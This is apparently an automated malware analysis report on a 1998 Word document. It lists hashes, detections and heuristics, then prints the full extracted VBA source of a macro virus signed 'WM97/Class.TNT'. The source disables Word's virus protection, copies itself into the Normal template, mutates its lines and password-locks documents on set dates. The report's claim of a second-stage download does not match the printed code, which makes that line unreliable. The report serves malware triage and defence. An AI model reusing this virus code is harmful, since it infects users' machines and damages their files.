Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21556099b2df679e…

MALICIOUS

Office (OLE)

86.0 KB Created: 1998-10-19 02:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0e0b03eea4354cc8e49e123264fa369b SHA-1: 7c42354c45358b55ed1ba1c56fece3fc270322fd SHA-256: 21556099b2df679edc3bf18d24f39a26541881c7ee5b40700f4cc2fe3f7f49d3
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristic firings for OLE_VBA_AUTOOPEN and OLE_VBA_AUTOCLOSE, indicating the presence of malicious VBA macros. The AutoOpen macro attempts to export and then add a file from the application's startup path, suggesting it is designed to download and execute a second-stage payload. The specific export and add commands are indicative of this behavior.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-39 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-39
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14617 bytes
SHA-256: 5741c991ea77b5e232346a3b3b921d9a217d9ff829ebb4c4e2f2f264553c529f
Detection
ClamAV: Doc.Trojan.Class-20
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

Dim rsx, rox, xix, xxi As Integer: Dim xxe, xex, exx, exd, cxi, cix, xic, eox, xoe, oxe, cii, rxe, rex, exr, nix, ixn, nxi, lnr, nrl, rnl As String: o = 0: r = 0

Randomize

On Error GoTo 89

Options.VirusProtection = Chr(48)

Options.SaveNormalPrompt = Chr(48)

Options.ConfirmConversions = Chr(48)

rt = ActiveDocument.VBProject.VBComponents.Item(Abs(1)).codemodule.countoflines

dt = NormalTemplate.VBProject.VBComponents.Item(Abs(1)).codemodule.countoflines

If dt > 0 And rt > 0 Then GoTo 89

If dt = 0 Then

    Set tnt = NormalTemplate.VBProject.VBComponents

    Set hst = ActiveDocument.VBProject.VBComponents

    If Month(Now()) = 12 And Day(Now()) = 23 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)

    If Month(Now()) = 12 And Day(Now()) = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(32) + Chr(84) + Chr(78) + Chr(84)

    If Month(Now()) = 12 And Day(Now()) = 25 Then Application.ActiveDocument.Password = "tnt"
    
    hst.Item(Abs(1)).Name = tnt.Item(Abs(1)).Name

    hst.Item(Abs(1)).Export Application.StartupPath & System.Version & Chr(84) + Chr(78) + Chr(84)
    
End If

If rt = 0 Then Set tnt = ActiveDocument.VBProject.VBComponents

tnt.Item(Abs(1)).codemodule.AddFromFile Application.StartupPath & System.Version & Chr(84) + Chr(78) + Chr(84)

With tnt.Item(Abs(1)).codemodule

    For j = Chr(49) To Chr(52)

    .deletelines Chr(49)

    Next j

    End With

If dt = 0 Then tnt.Item(Abs(1)).codemodule.replaceline 1, "Sub AutoClose()"

If dt = 0 Then tnt.Item(Abs(1)).codemodule.replaceline 95, "Sub ToolsMarco()"

If dt = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

With tnt.Item(Abs(1)).codemodule

    rsx = Int(Rnd(11) * 2998) + 24: rox = Int(Rnd(15) * 5863) + 33: xix = Int(Rnd(44) * 3544) + 55

    cii = Asc(rsx): eox = Chr$(cii + 5): xoe = Chr$(cii - 14): oxe = Chr$(cii + 22): lnr = Chr$(cii - 4)

    cix = Asc(rox): rxe = Chr$(cix + 7): rex = Chr$(cix - 16): exr = Chr$(cix + 4): nrl = Chr$(cix - 17)

    xic = Asc(xix): nix = Chr$(xic + 9): ixn = Chr$(xic - 18): nxi = Chr$(xic + 8): rnl = Chr$(xic - 33)
    
    cxi = Asc(xxi): xxe = Chr$(cxi + 4): xex = Chr$(cxi - 3): exx = Chr$(cxi + 18): exd = Chr$(cxi - 12)

    If Month(Now()) = 11 And Day(Now()) = 13 Then .replaceline 83, ".replaceline j, Chr(39) & eox & rxe & nix & xoe & rex & ixn & oxe & exr & nix & lnr & nrl & rnl & xxe & xex & exx & exd & oxe & exr & nix & lnr & nrl & rnl & xxe"

End With

  With tnt.Item(Abs(1)).codemodule

For j = Chr(50) To tnt.Item(Abs(1)).codemodule.countoflines Step Chr(50)

    r = Int(Rnd(712835) * 313989) + 8485

    o = Int(Rnd(587958) * 783865) + 2988

    .replaceline j, Chr(39) & r * r & o * o & r * r * o * o & r * r & o * o & r * r & o * o
    
    Next j

 End With

89:

If dt <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode()

End Sub 'WM97/Class.TNT by Virus :) Smile


' Processing file: /opt/analyzer/scan_staging/672a0bc39e3c44b8a15019de74c80356.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6990 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn rsx
' 	VarDefn rox
' 	VarDefn xix
' 	VarDefn xxi (As Integer)
' 	BoS 0x0000 
' 	Dim 
' 	VarDefn xxe
' 	VarDefn xex
' 	VarDefn exx
' 	VarDefn exd
' 	VarDefn cxi
' 	VarDefn cix
' 	VarDefn xic
' 	VarDefn eox
' 	VarDefn xoe
' 	VarDefn oxe
' 	VarDefn cii
' 	VarDefn rxe
' 	VarDefn rex
' 	VarDefn exr
' 	VarDefn
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.